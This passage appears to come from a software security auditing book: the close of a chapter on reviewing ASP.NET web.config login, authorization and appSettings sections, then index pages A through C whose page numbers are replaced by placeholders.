login.aspx. This page can then process the login and, if needed, forwards the user to 

the original URL on success. 

http://www.pluralsight.com/tools.aspx
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The login page is generally the first page you want to examine in an ASP.NET 

application. Often, developers include backdoor mechanisms for testing purposes or 

Web service requests, or the login could simply have vulnerabilities of its own. 

Authorization 

The authorization section of the web.config file can also contain useful information 

and be used to restrict request methods, users, groups, and roles. Typically, you see 

a small number of roles to separate normal and administrative users. Here's a typical 

authorization section for a Web application's administrative interface: 

<authorization> 

    <allow roles="Administrator"/> 

    <deny users="?" /> 

</authorization> 

 

The location tag can also be used to limit the scope of the authorization section. For 

example, you could wrap this section in a location tag that includes only the 

administrative page or directory. 

AppSettings 

The appSettings section of the web.config file can be used to provide 

application-specific parameters. They are passed as simple key value pairs and 

retrieved later by using ConfigurationSettings.AppSettings(). These parameters can 

be important to how the application performs, so make note of them and see where 

they're used in the code. In particular, database and middleware connection 

information is often stored in this section. Here's an example of an appSettings 

section of the web.config file: 

<appSettings> 

    <add key="myparam" value="testval" /> 

</appSettings> 

8.5.10 Summary 

This chapter has given you an overview of the current direction of Web technologies 

and some details of common platforms. You should be able to use this information as 

a starting point in reviewing Web applications. However, keep in mind that all these 

platforms are quite complex; an entire book could be devoted to a detailed 

exploration of the security aspects of each one. Make sure you supplement this 

chapter's coverage with detailed information from platform developers and other 

security resources. 
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     auditing(? [????.]) 

     data assumptions(? [????.]) 

     order of action(? [????.]) 

     unanticipated conditions(? [????.]) 

Accept header field (HTTP)(? [????.]) 

Accept-Charset header field (HTTP)(? [????.]) 

Accept-Encoding header field (HTTP)(? [????.]) 

Accept-Language header field (HTTP)(? [????.]) 

Accept-Ranges header field (HTTP)(? [????.]) 

access control(? [????.]) 

     ASP.NET(? [????.]) 

     DCOM (Distributed Component Object Model)(? [????.]) 

     vunerabilities(? [????.]) 

access control entries (ACEs) [See ACEs (access control entries)(? [????.]).] 

access control policy(? [????.]) 

access masks, Windows NT, security descriptors(? [????.]) 

access tokens, Windows NT sessions(? [????.]) 

     contexts(? [????.]) 

     group lists(? [????.]) 

     impersonation(? [????.]) 

     privileges(? [????.]) 

     restricted tokens(? [????.]) 

     SAFER (Software Restriction Policies) API(? [????.]) 

access( ) function(? [????.]) 

accountability, common vulnerabilities(? [????.]) 

accuracy, software design(? [????.]) 

ACEs (access control entries)(? [????.]) 

     flags(? [????.]) 

     orders(? [????.]) 

ACFs (application configuration files), RPCs (Remote Procedure Calls)(? [????.]) 

ACLs (access control lists)(? [????.]) 

     low-level ACL control(? [????.]) 

     permissions, auditing(? [????.]) 

     Windows NT, inheritance(? [????.]) 

activation records, runtime stack(? [????.]) 

activation, DCOM objects(? [????.]) 

active FTP(? [????.]) 

Active Server Pages (ASP) [See ASP (Active Server Pages)(? [????.]).] 

Active X controls(? [????.]) 2nd(? [????.]) 

     COM (Component Object Model), security(? [????.]) 

     kill bit(? [????.]) 

     signing(? [????.]) 

     site-restricted controls(? [????.]) 

     threading(? [????.]) 
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ActiveX Data Objects (ADO)(? [????.]) 

address space layout randomization (ASLR) [See ASLR (address space layout 

randomization)(? [????.]).] 

addresses 

     IP addresses(? [????.]) 

         maintaining state with(? [????.]) 

     subnet addresses(? [????.]) 

AdjustTokenGroups( ) function(? [????.]) 

AdjustTokenPrivileges( ) function(? [????.]) 

ADO (ActiveX Data Objects)(? [????.]) 

ADT (abstract data type), stacks(? [????.]) 

Age header field (HTTP)(? [????.]) 

Aitel, Dave(? [????.]) 

AIX(? [????.]) 

AJAX (Asynchronous JavaScript and XML)(? [????.]) 

algorithms 

     analyzing, CC (code comprehension)(? [????.]) 

     encryption(? [????.]) 

         block ciphers(? [????.]) 

         common vunerabilities(? [????.]) 

         exchange algorithms(? [????.]) 

         IV (initialization vector)(? [????.]) 

         stream ciphers(? [????.]) 

     hashing algorithms(? [????.]) 

     software design(? [????.]) 

alloc( ) function(? [????.]) 

allocating 0 bytes(? [????.]) 

allocation functions, auditing(? [????.]) 

allocation-check-copy (ACC) logs [See ACC (allocation-check-copy) logs(? [????.]).] 

allocator scorecards(? [????.]) 

Allocator with Header Data Structure listing (7-39)(? [????.]) 

Allocator-Rounding Vulnerability listing (7-38)(? [????.]) 

Allow header field (HTTP)(? [????.]) 

Allowed header field (HTTP)(? [????.]) 

analysis phase, code review(? [????.]) 2nd(? [????.]) 

     findings summary(? [????.]) 

analyzing 

     algorithms, CC (code comprehension)(? [????.]) 

     classes, CC (code comprehension)(? [????.]) 

     modules, CC (code comprehension)(? [????.]) 

     objects, CC (code comprehension)(? [????.]) 

Anderson, J.S.(? [????.]) 

anonymous pipes, Windows NT(? [????.]) 

antimnalware applications(? [????.]) 
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antisniff tool, vunerabilities(? [????.]) 

Antisniff v1.0 Vulnerability listing (6-8)(? [????.]) 

Antisniff v1.1 Vulnerability listing (6-9)(? [????.]) 

Antisniff v1.1.1 Vulnerability listing (6-10)(? [????.]) 

Antisniff v1.1.2 Vulnerability listing (6-11)(? [????.]) 

Apache 1.3.29/2.X mod_rewrite Off-by-one Vulnerability listing (7-19)(? [????.]) 

Apache API(? [????.]) 

Apache mod_dav CDATA Parsing Vulnerability listing (7-1)(? [????.]) 

Apache mod_php Nonterminating Buffer Vulnerability listing (7-18)(? [????.]) 

Apache, Struts framework(? [????.]) 

APCs (asynchronous procedure calls)(? [????.]) 

APIs (application programming interfaces) 

     Apache API(? [????.]) 

     ISAPI (Internet Server Application Programming Interface)(? [????.]) 

     NSAPI (Netscape Server Application Programming Interface)(? [????.]) 

Appel, Andrew W.(? [????.]) 

AppID keys(? [????.]) 

application access, categories(? [????.]) 

application architecture modeling(? [????.]) 

application identity, DCOM (Distributed Component Object Model)(? [????.]) 

application IDs, COM (Component Object Model)(? [????.]) 

application layer, network segmentation(? [????.]) 

application manifests(? [????.]) 

application protocols(? [????.]) 

     ASN.1 (Abstract Syntax Notation)(? [????.]) 

         BER (Basic Encoding Rules)(? [????.]) 

         CER (Canonical Encoding Rules)(? [????.]) 

         DER (Distinguished Encoding Rules)(? [????.]) 2nd(? [????.]) 

         PER (Packed Encoding Rules)(? [????.]) 

         XER (XML Encoding Rules)(? [????.]) 

     auditing(? [????.]) 

         data type matching(? [????.]) 

         data verification(? [????.]) 

         documentation collection(? [????.]) 

         identifying elements(? [????.]) 

         system resource access(? [????.]) 

     DNS (Domain Name System)(? [????.]) 2nd(? [????.]) 

         headers(? [????.]) 

         length variables(? [????.]) 

         name servers(? [????.]) 

         names(? [????.]) 

         packets(? [????.]) 

         question structure(? [????.]) 

         request traffic(? [????.]) 
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         resolvers(? [????.]) 

         resource records(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         spoofing(? [????.]) 

         zones(? [????.]) 

     HTTP (Hypertext Transfer Protocol)(? [????.]) 

         header parsing(? [????.]) 

         posting data(? [????.]) 

         resource access(? [????.]) 

         utility functions(? [????.]) 

     ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 

         encryption vunerabilities(? [????.]) 

         headers(? [????.]) 

         payloads(? [????.]) 

application review(? [????.]) 

     application review phase(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         bottom-up approach(? [????.]) 

         hybrid approach(? [????.]) 

         iterative process(? [????.]) 

         peer reviews(? [????.]) 

         planning(? [????.]) 

         reevaluation(? [????.]) 

         status checks(? [????.]) 

         top-down approach(? [????.]) 

         working papers(? [????.]) 

     code auditing(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         binary navigation tools(? [????.]) 

         CC (code comprehension) strategies(? [????.]) 

         CP (candidate point) strategies(? [????.]) 2nd(? [????.]) 

         debuggers(? [????.]) 

         dependency alnalysis(? [????.]) 

         desk checking(? [????.]) 

         DG (design generalization) strategies(? [????.]) 2nd(? [????.]) 

         fuzz testing tools(? [????.]) 

         internal flow analysis(? [????.]) 

         OpenSSH case study(? [????.]) 

         rereading code(? [????.]) 

         scorecard(? [????.]) 

         source code navigators(? [????.]) 

         subsystem alnalysis(? [????.]) 

         test cases(? [????.]) 

     code navigation(? [????.]) 

         external flow sensitivity(? [????.]) 

         tracing(? [????.]) 

     documentation and analysis phase(? [????.]) 2nd(? [????.]) 
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         findings summary(? [????.]) 

     preassessment phase(? [????.]) 

         application access(? [????.]) 

         information collection(? [????.]) 

         scoping(? [????.]) 

     process outline(? [????.]) 

     remediation support phase(? [????.]) 2nd(? [????.]) 

application-specific CPs (candidate points)(? [????.]) 

applications 

     attack surfaces(? [????.]) 

     COM (Component Object Model) applications, registration(? [????.]) 

     DCOM (Distributed Component Object Model) applications, auditing(? [????.]) 

     reverse-engineering applications(? [????.]) 

     RPC (Remote Procedure Call) applications, auditing(? [????.]) 

    Web applications [See Web applications, access control(? [????.]).] 

Applied Cryptography(? [????.]) 

appSettings section, ASP.NET(? [????.]) 

apr_palloc( ) function(? [????.]) 

arbitrary file accesses, junction points(? [????.]) 

argument promotions(? [????.]) 

arguments, functions, auditing(? [????.]) 

arithmetic 

    C programming language 

         arithmetic boundary conditions(? [????.]) 

         signed integer boundaries(? [????.]) 

         unsigned integer boundaries(? [????.]) 

     modular arithmetic(? [????.]) 

     pointers(? [????.]) 

arithmetic boundaries, variables, auditing(? [????.]) 

arithmetic boundary conditions, C programming language(? [????.]) 

     numeric overflow conditions(? [????.]) 

     numeric underflow conditions(? [????.]) 

     numeric wrapping(? [????.]) 

     signed integers(? [????.]) 

     unsigned integers(? [????.]) 

arithmetic shift(? [????.]) 

Arithmetic Vulnerability Example in the Parent Function listing (7-10)(? [????.]) 

Arithmetic Vulnerability Example listing (7-9)(? [????.]) 

ASLR (address space layout randomization)(? [????.]) 

     operational vulnerabilities, preventing(? [????.]) 

ASN.1 (Abstract Syntax Notation)(? [????.]) 

     BER (Basic Encoding Rules)(? [????.]) 

     CER (Canonical Encoding Rules)(? [????.]) 

     DER (Distinguished Encoding Rules)(? [????.]) 2nd(? [????.]) 
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     PER (Packed Encoding Rules)(? [????.]) 

     XER (XML Encoding Rules)(? [????.]) 

ASP (Active Server Pages)(? [????.]) 

     configuration settings(? [????.]) 

     cross-site scripting(? [????.]) 

     file access(? [????.]) 

     file inclusion(? [????.]) 

     inline evaluation(? [????.]) 

     shell invocation(? [????.]) 

     SQL injection queries(? [????.]) 

ASP.NET(? [????.]) 

     configuration settings(? [????.]) 

     cross-site scripting(? [????.]) 

     file access(? [????.]) 

     file inclusion(? [????.]) 

     inline evaluation(? [????.]) 

     shell invocation(? [????.]) 

     SQL injection queries(? [????.]) 

assessments 

     applications(? [????.]) 

     code(? [????.]) 

         application review phase(? [????.]) 2nd(? [????.]) 

         code auditing(? [????.]) 

         code navigation(? [????.]) 

         documentation and analysis phase(? [????.]) 2nd(? [????.]) 

         preassessment phase(? [????.]) 

         process outline(? [????.]) 

         remediation support phase(? [????.]) 2nd(? [????.]) 

assets, information collection(? [????.]) 

assignment operators, C programming language, type conversions(? [????.]) 

asymmetric encryption(? [????.]) 

Asynchronous JavaScript and XML (AJAX)(? [????.]) 

asynchronous procedure calls (APCs) [See APCs (asynchronous procedure calls)(? 

[????.]).] 

asynchronous-safe code, reentrancy(? [????.]) 

asynchronous-safe function, signals(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

ATL (Active Template Library), DCOM (Distributed Component Object Model)(? [????.]) 

atomicity(? [????.]) 

attack surfaces 

     applications(? [????.]) 

     firewalls(? [????.]) 

attack trees(? [????.]) 

attack vectors, high-level attack vectors, OpenSSH(? [????.]) 

attacks 
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     attack surfaces, applications(? [????.]) 

     attack trees(? [????.]) 

     bait-and-switch attacks(? [????.]) 

     blind data injection attacks(? [????.]) 

     blind reset attacks(? [????.]) 

     cryogenic sleep attacks(? [????.]) 

     DoS (denial of service) attacks(? [????.]) 

         name validation(? [????.]) 

     environmental attacks(? [????.]) 

     exceptional conditions(? [????.]) 

     homographic attacks(? [????.]) 

     node types(? [????.]) 

     second-order injection attacks(? [????.]) 

     shatter attacks(? [????.]) 

     SHE (structured exception handling) attacks(? [????.]) 

     SMB relay attacks(? [????.]) 

     spoofing attacks(? [????.]) 

         DNS (Domain Name System)(? [????.]) 

         firewalls(? [????.]) 

     terminal attacks(? [????.]) 

attributes 

     objects, uninitialized attributes(? [????.]) 

     UNIX processes(? [????.]) 

         file descriptors(? [????.]) 

         resource limits(? [????.]) 

         retention(? [????.]) 

audit logs, function audit logs(? [????.]) 

auditing(? [????.]) 

     application protocols(? [????.]) 

         data type matching(? [????.]) 

         data verification(? [????.]) 

         documentation collection(? [????.]) 

         identifying elements(? [????.]) 

         system resource access(? [????.]) 

     black box testing, compared(? [????.]) 

     code(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         binary navigation tools(? [????.]) 

         CC (code comprehension) strategies(? [????.]) 

         CP (candidate point) strategies(? [????.]) 2nd(? [????.]) 

         debuggers(? [????.]) 

         dependency alnalysis(? [????.]) 

         desk checking(? [????.]) 

         DG (design generalization) strategies(? [????.]) 2nd(? [????.]) 

         fuzz testing tools(? [????.]) 
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         internal flow analysis(? [????.]) 

         OpenSSH case study(? [????.]) 

         rereading code(? [????.]) 

         scorecard(? [????.]) 

         SDLC (Systems Development Life Cycle)(? [????.]) 

         source code navigators(? [????.]) 

         subsystem alnalysis(? [????.]) 

         test cases(? [????.]) 

     code-editing situations(? [????.]) 

     COM (Component Object Model) applications, interfaces(? [????.]) 

     control flow(? [????.]) 

         flow transfer statements(? [????.]) 

         looping constructs(? [????.]) 

         switch statements(? [????.]) 

     DCOM (Distributed Component Object Model) applications(? [????.]) 

     file opens, Windows NT(? [????.]) 

     functions(? [????.]) 

         argument meaning(? [????.]) 

         audit logs(? [????.]) 

         return value testing(? [????.]) 

         side-effects(? [????.]) 2nd(? [????.]) 

     hidden fields(? [????.]) 

     importance of(? [????.]) 2nd(? [????.]) 

     memory management(? [????.]) 

         ACC (allocation-check-copy) logs(? [????.]) 

         allocation functions(? [????.]) 

         allocator scorecards(? [????.]) 

         double-frees(? [????.]) 

         error domains(? [????.]) 

     permissions, ACLs(? [????.]) 

     RPC applications(? [????.]) 

     running code(? [????.]) 

     UNIX privileges, management code(? [????.]) 

     variables(? [????.]) 

         arithmetic boundaries(? [????.]) 

         initialization(? [????.]) 

         lists(? [????.]) 

         object management(? [????.]) 

         relationships(? [????.]) 

         structure management(? [????.]) 

         tables(? [????.]) 

         type confusion(? [????.]) 

     Web applications(? [????.]) 

         activities to isolate(? [????.]) 
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         avoiding assumptions(? [????.]) 

         black box testing(? [????.]) 

         enumerating functionality(? [????.]) 

         goals(? [????.]) 

         multiple approaches(? [????.]) 

         reverse-engineering(? [????.]) 

         testing and experimentation(? [????.]) 

AUTH_TYPE (environment variable)(? [????.]) 

authenticate( ) function(? [????.]) 

authentication(? [????.]) 

     common vulnerabilities(? [????.]) 

         insufficient validation(? [????.]) 

         untrustworthy credentials(? [????.]) 

     HTTP authentication(? [????.]) 2nd(? [????.]) 

     RPC servers(? [????.]) 

     RPCs (Remote Procedure Calls), UNIX(? [????.]) 

     Web-based applications(? [????.]) 

authentication files, OpenSSH(? [????.]) 

authorization(? [????.]) 2nd(? [????.]) 

     ASP.NET(? [????.]) 

     common vulnerabilities(? [????.]) 

Authorization header field (HTTP)(? [????.]) 

automated source analysis tools, code audits, CP candidate point) strategy(? [????.]) 

automatic threat modeling(? [????.]) 

automation objects, COM (Component Object Model)(? [????.]) 

     fuzz testing(? [????.]) 

automation servers(? [????.]) 

availability(? [????.]) 

     common vunerabilities(? [????.]) 

     expectations of(? [????.]) 

10.3 B 

Index 

 

[SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? 

[????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? 

[????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? 

[????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])]  

 

back-tracing code(? [????.]) 

bait-and-switch attacks(? [????.]) 

Bansal, Altin(? [????.]) 
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Bellovin, Steve(? [????.]) 

BER (Basic Encoding Rules), ASN.1 (Abstract Syntax Notation)(? [????.]) 

Bercegay, James(? [????.]) 

big-endian architecture, bytes, ordering(? [????.]) 

/bin directory (UNIX)(? [????.]) 

binary audits, COM (Component Object Model)(? [????.]) 

binary bitwise operators(? [????.]) 

binary encoding, C programming language(? [????.]) 

binary layout (Windows), imports(? [????.]) 

binary navigation tools, code auditing(? [????.]) 

binary notation 

     positive decimal integers, converting to(? [????.]) 

     positive numbers, converting to decimal(? [????.]) 

binary protocols, data types, matching(? [????.]) 

binary-only application access(? [????.]) 

Bind 9.2.1 Resolver Code gethostans( ) Vulnerability listing (7-2)(? [????.]) 

binding endpoints, RPC servers(? [????.]) 

bindings(? [????.]) 

BinNavi binary navigation tool(? [????.]) 

Bishop, Matt(? [????.]) 

bit fields, C programming language(? [????.]) 

bitmasks, permissions(? [????.]) 

bitwise shift operators, C programming language(? [????.]) 

black box analysis(? [????.]) 

black box generated CPs (candidate points)(? [????.]) 

black box hits, tracing(? [????.]) 

black box testing(? [????.]) 

     auditing, compared(? [????.]) 

black-list filters, metacharacters(? [????.]) 

blind connection spoofing, TCP streams(? [????.]) 

blind data injection attacks, TCP streams(? [????.]) 

blind reset attacks, TCP streams(? [????.]) 

block ciphers(? [????.]) 

boot files, UNIX(? [????.]) 

bottom-up approach, application review(? [????.]) 

bottom-up decomposition(? [????.]) 

Bouchareine, Pascal(? [????.]) 

boundaries, trust boundaries(? [????.]) 

     complex trust boundaries(? [????.]) 

     simple trust boundaries(? [????.]) 

boundary conditions, sequence numbers, TCP (Transmission Control Protocol)(? [????.]) 

boundary descriptor objects, Windows NT(? [????.]) 

bounded string functions(? [????.]) 

Break Statement Omission Vulnerability listing (7-23)(? [????.]) 
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break statements, omissions(? [????.]) 

Bret-Mounet, Frederic(? [????.]) 

Brown, Keith(? [????.]) 

BSD linux(? [????.]) 

     securelevels(? [????.]) 

     setenv( ) function(? [????.]) 

BUF-MEM_grow( ) function(? [????.]) 

Buffer Overflow in NSS Library's ssl2_HandleClientHelloMessage listing (7-34)(? [????.]) 

buffer overflow, text-based protocols(? [????.]) 

buffer overflows(? [????.]) 

     global overflows(? [????.]) 

     heap overflows(? [????.]) 

     off-by-one errors(? [????.]) 

     process memory layout(? [????.]) 

     SHE (structured exception handling) attacks(? [????.]) 

     stack overflows(? [????.]) 

     static overflows(? [????.]) 

buffer subsystem, SSH server, code audits(? [????.]) 

buffers, OpenSSH, vunerabilities(? [????.]) 

bugs, software(? [????.]) 

business logic(? [????.]) 2nd(? [????.]) 

business tier (Web applications)(? [????.]) 

byte order, C programming language(? [????.]) 

bytes, overwriting(? [????.]) 

10.4 C 

Index 

 

[SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? 

[????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? 

[????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? 

[????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])]  

 

C programming language(? [????.]) 

     arithmetic boundary conditions(? [????.]) 

     binary encoding(? [????.]) 

     bit fields(? [????.]) 

     bitwise shift operators(? [????.]) 

     byte order(? [????.]) 

     character types(? [????.]) 

     data storage(? [????.]) 

     floating types(? [????.]) 
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     format strings(? [????.]) 

     function invocations(? [????.]) 

     implementation defined behavior(? [????.]) 

     integer types(? [????.]) 

     macros(? [????.]) 

     numeric wrapping(? [????.]) 

     objects(? [????.]) 

     operands, order of evaluation(? [????.]) 

     operators(? [????.]) 2nd(? [????.]) 

         right shift(? [????.]) 

         size(? [????.]) 

     pointers(? [????.]) 

         arithmetic(? [????.]) 

         vunerabilities(? [????.]) 

     precedence(? [????.]) 

     preprocessor(? [????.]) 

     security(? [????.]) 

     signed integers, boundaries(? [????.]) 

     standards(? [????.]) 

     stdio file interface(? [????.]) 

     string handling(? [????.]) 

     structure padding(? [????.]) 

     switch statements(? [????.]) 

     type conversions(? [????.]) 

         assignment operators(? [????.]) 

         comparisons(? [????.]) 

         conversion rules(? [????.]) 

         default type conversions(? [????.]) 

         explicit type conversions(? [????.]) 

         floating point types(? [????.]) 

         function prototypes(? [????.]) 

         implicit type conversions(? [????.]) 

         integer promotions(? [????.]) 

         narrowing(? [????.]) 

         sign extensions(? [????.]) 

         simple conversions(? [????.]) 

         typecasts(? [????.]) 

         usual arithmetic conversions(? [????.]) 

         value preservation(? [????.]) 

         vunerabilities(? [????.]) 

         widening(? [????.]) 

     types(? [????.]) 

     typos(? [????.]) 

     unary + operator(? [????.]) 
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     unary operator(? [????.]) 

     unary operator(? [????.]) 

     undefined behavior(? [????.]) 

     unsigned integers, boundaries(? [????.]) 

C Programming Language, The(? [????.]) 

C Rationale document(? [????.]) 

C++ programming language, EH (exception handling)(? [????.]) 

Cache-Control header field (HTTP)(? [????.]) 

calling conventions, functions(? [????.]) 

canary values(? [????.]) 

candidate points(? [????.]) 

canonicalization, files, Windows NT(? [????.]) 

capabilities, Linux(? [????.]) 

carry flags (CFs)(? [????.]) 

CAS (code access security)(? [????.]) 

case sensitivity, Windows NT filenames(? [????.]) 

CBC (cipher block chaining) mode cipher(? [????.]) 

CC (code comprehension) strategies, code audits(? [????.]) 

     algorithm analysis(? [????.]) 

     black box hit traces(? [????.]) 

     class analysis(? [????.]) 

     module analysis(? [????.]) 

     object analysis(? [????.]) 

     trace malicious input(? [????.]) 

CER (Canonical Encoding Rules), ASN.1 (Abstract Syntax Notation)(? [????.]) 

Certificate Payload Integer Underflow in CheckPoint ISAKMP listing (16-2)(? [????.]) 

certificate payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 

certificate request payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 

CFML (ColdFusion Markup Language)(? [????.]) 

CFs (carry flags)(? [????.]) 

CGI (Common Gateway Interface)(? [????.]) 2nd(? [????.]) 

     environment variables(? [????.]) 

     indexed queries(? [????.]) 

chain of trust relationships(? [????.]) 

Challenge-Response Integer Overflow Example in OpenSSH 3.1 listing (6-3)(? [????.]) 

change monitoring(? [????.]) 

Character Black-List Filter listing (8-22)(? [????.]) 

character equivalence, Unicode(? [????.]) 

Character Expansion Buffer Overflow listing (8-4)(? [????.]) 

character expansion, text strings(? [????.]) 

character sets(? [????.]) 

character stripping vulnerabilities, metacharacters, filtering(? [????.]) 

character types, C programming language(? [????.]) 

Character White-List Filter listing (8-23)(? [????.]) 
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Charge-To header field (HTTP)(? [????.]) 

checked build application access(? [????.]) 

checkForAnotherInstance( ) function(? [????.]) 

checksum, IP (Internet Protocol)(? [????.]) 

child processes, UNIX processes(? [????.]) 

chroot jails(? [????.]) 

cipher block chaining (CBC) mode cipher(? [????.]) 

circular linked lists(? [????.]) 

clarity, software design(? [????.]) 

Clarke, Arthur C.(? [????.]) 

class diagrams, UML (Unified Markup Language)(? [????.]) 

classes 

     analyzing, CC (code comprehension)(? [????.]) 

     IP addresses(? [????.]) 

    vulnerabilities 

         design vunerabilities(? [????.]) 

         implementation vunerabilities(? [????.]) 

         operational vunerabilities(? [????.]) 

     vunerabilities(? [????.]) 

cleanup( ) function(? [????.]) 

cleanup_exit( ) function(? [????.]) 

Cleaton, Nick(? [????.]) 

client IP addresses, maintaining state with(? [????.]) 

client tier (Web applications)(? [????.]) 

clients 

     client control(? [????.]) 

     pipe squatting(? [????.]) 

     visibility(? [????.]) 

close( ) function(? [????.]) 

close-on-exec file descriptor, UNIX(? [????.]) 

CloseHandle( ) function(? [????.]) 

closing 

     files, studio file system(? [????.]) 

     TCP connections(? [????.]) 

Clowes, Shaun(? [????.]) 

CLR (Common Language Runtime)(? [????.]) 

CLSIDs, mapping to applications, COM (Component Object Model)(? [????.]) 

code 

     auditing(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         binary navigation tools(? [????.]) 

         CC (code comprehension) strategies(? [????.]) 

         CP (candidate point) strategies(? [????.]) 2nd(? [????.]) 

         debuggers(? [????.]) 

         dependency alnalysis(? [????.]) 
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         desk checking(? [????.]) 

         DG (design generalization) strategies(? [????.]) 2nd(? [????.]) 

         fuzz testing tools(? [????.]) 

         internal flow analysis(? [????.]) 

         OpenSSH case study(? [????.]) 

         rereading code(? [????.]) 

         running code(? [????.]) 

         scorecard(? [????.]) 

         SDLC (Systems Development Life Cycle)(? [????.]) 

         source code navigators(? [????.]) 

         subsystem alnalysis(? [????.]) 

         test cases(? [????.]) 

     memory, finding in(? [????.]) 

     reuse(? [????.]) 

     source code, profiling(? [????.]) 

     typos, C programming language(? [????.]) 

code access security (CAS) [See CAS (code access security)(? [????.]).] 

code naigation(? [????.]) 

     external flow sensitivity(? [????.]) 

     tracing(? [????.]) 

code page assumptions, Unicode(? [????.]) 

Code Page Mismatch Example listing (8-31)(? [????.]) 

code paths(? [????.]) 

code review(? [????.]) 

     application review phase(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         bottom-up approach(? [????.]) 

         hybrid approach(? [????.]) 

         iterative process(? [????.]) 

         peer reviews(? [????.]) 

         planning(? [????.]) 

         reevaluation(? [????.]) 

         status checks(? [????.]) 

         top-down approach(? [????.]) 

         working papers(? [????.]) 

     code auditing(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         binary navigation tools(? [????.]) 

         CC (code comprehension) strategies(? [????.]) 

         CP (candidate point) strategies(? [????.]) 2nd(? [????.]) 

         debuggers(? [????.]) 

         dependency alnalysis(? [????.]) 

         desk checking(? [????.]) 

         DG (design generalization) strategies(? [????.]) 2nd(? [????.]) 

         fuzz testing tools(? [????.]) 

         internal flow analysis(? [????.]) 
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         OpenSSH case study(? [????.]) 

         rereading code(? [????.]) 

         scorecard(? [????.]) 

         source code navigators(? [????.]) 

         subsystem alnalysis(? [????.]) 

         test cases(? [????.]) 

     code navigation(? [????.]) 

         external flow sensitivity(? [????.]) 

         tracing(? [????.]) 

     documentation and analysis phase(? [????.]) 2nd(? [????.]) 

         findings summary(? [????.]) 

     preassessment phase(? [????.]) 

         application access(? [????.]) 

         information collection(? [????.]) 

         scoping(? [????.]) 

     process outline(? [????.]) 

     remediation support phase(? [????.]) 2nd(? [????.]) 

Code Surfer(? [????.]) 

code-auditing situations(? [????.]) 

CoInitializeEx( ) function(? [????.]) 

ColdFusion(? [????.]) 

ColdFusion Markup Language (CFML)(? [????.]) 

ColdFusion MX(? [????.]) 

collecttimeout( ) function(? [????.]) 

collisions, Windows NT object namespaces(? [????.]) 

COM (Component Object Model), Windows NT 

     access controls(? [????.]) 

     Active X security(? [????.]) 

     application audits(? [????.]) 

     application identity(? [????.]) 2nd(? [????.]) 

     application registration(? [????.]) 

     ATL (Active Template Library)(? [????.]) 

     automation objects(? [????.]) 2nd(? [????.]) 

     CLSID mapping(? [????.]) 

     components(? [????.]) 

     DCOM Configuration utility(? [????.]) 

     impersonation(? [????.]) 

     interface audits(? [????.]) 

     interfaces(? [????.]) 

     IPC (interprocess communications)(? [????.]) 

     MIDL (Microsoft Interface Definition Language)(? [????.]) 

     OLE (Object Linking and Embedding)(? [????.]) 

     proxies(? [????.]) 

     stubs(? [????.]) 
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     subsystem access permissions(? [????.]) 

     threading(? [????.]) 

     type libraries(? [????.]) 

COMbust tool(? [????.]) 

Common Gateway Interface [See CGI (Common Gateway Interface)(? [????.]).] 

Common Language Runtime (CLR)(? [????.]) 

common real types(? [????.]) 

Communications of the ACM(? [????.]) 

Comparison Vulnerability Example listing (6-20)(? [????.]) 

comparisons, type conversions, C programming language(? [????.]) 

compensating controls, operational vunerabilities(? [????.]) 

component diagrams, UML (Unified Markup Language)(? [????.]) 

Component Object Model (COM) [See Component Object Model (COM)(? [????.]).] 

Computer Security: Art and Science(? [????.]) 

concurrent programming 

     APCs (asynchronous procedure calls)(? [????.]) 

     deadlocks(? [????.]) 

     multithreaded programs(? [????.]) 

     process synchronization(? [????.]) 

         interprocess synchronization(? [????.]) 

         lock matching(? [????.]) 

         synchronization object scoreboard(? [????.]) 

         System V synchronization(? [????.]) 

         Windows NT synchronization(? [????.]) 

     race conditions(? [????.]) 

     reentrancy(? [????.]) 

     repetition(? [????.]) 

     shared memory segments(? [????.]) 

     signals(? [????.]) 

         asynchronous-safe function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         default actions(? [????.]) 

         handling(? [????.]) 

         interruptions(? [????.]) 2nd(? [????.]) 

         jump locations(? [????.]) 

         non-returning signal handlers(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         sending(? [????.]) 

         signal handler scoreboard(? [????.]) 

         signal masks(? [????.]) 

         vunerabilities(? [????.]) 2nd(? [????.]) 

     starvation(? [????.]) 

    threads 

         deadlocks(? [????.]) 

         PThreads API(? [????.]) 

         race conditions(? [????.]) 
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         starvation(? [????.]) 

         Windows API(? [????.]) 

condition variables, PThreads API(? [????.]) 

conditions, ACC logs, unanticipated conditions(? [????.]) 

confidentiality(? [????.]) 

    encryption 

         algorithms(? [????.]) 

         block ciphers(? [????.]) 

         common vunerabilities(? [????.]) 

         exchange algorithms(? [????.]) 

         IV (initialization vector)(? [????.]) 

         stream ciphers(? [????.]) 

     expectations of(? [????.]) 

configuration files 

     OpenSSH(? [????.]) 

     UNIX(? [????.]) 

configuration settings 

     ASP(? [????.]) 

     ASP.NET(? [????.]) 

     Java servlets(? [????.]) 

     PHP(? [????.]) 

CONNECT method(? [????.]) 

Connection header field (HTTP)(? [????.]) 

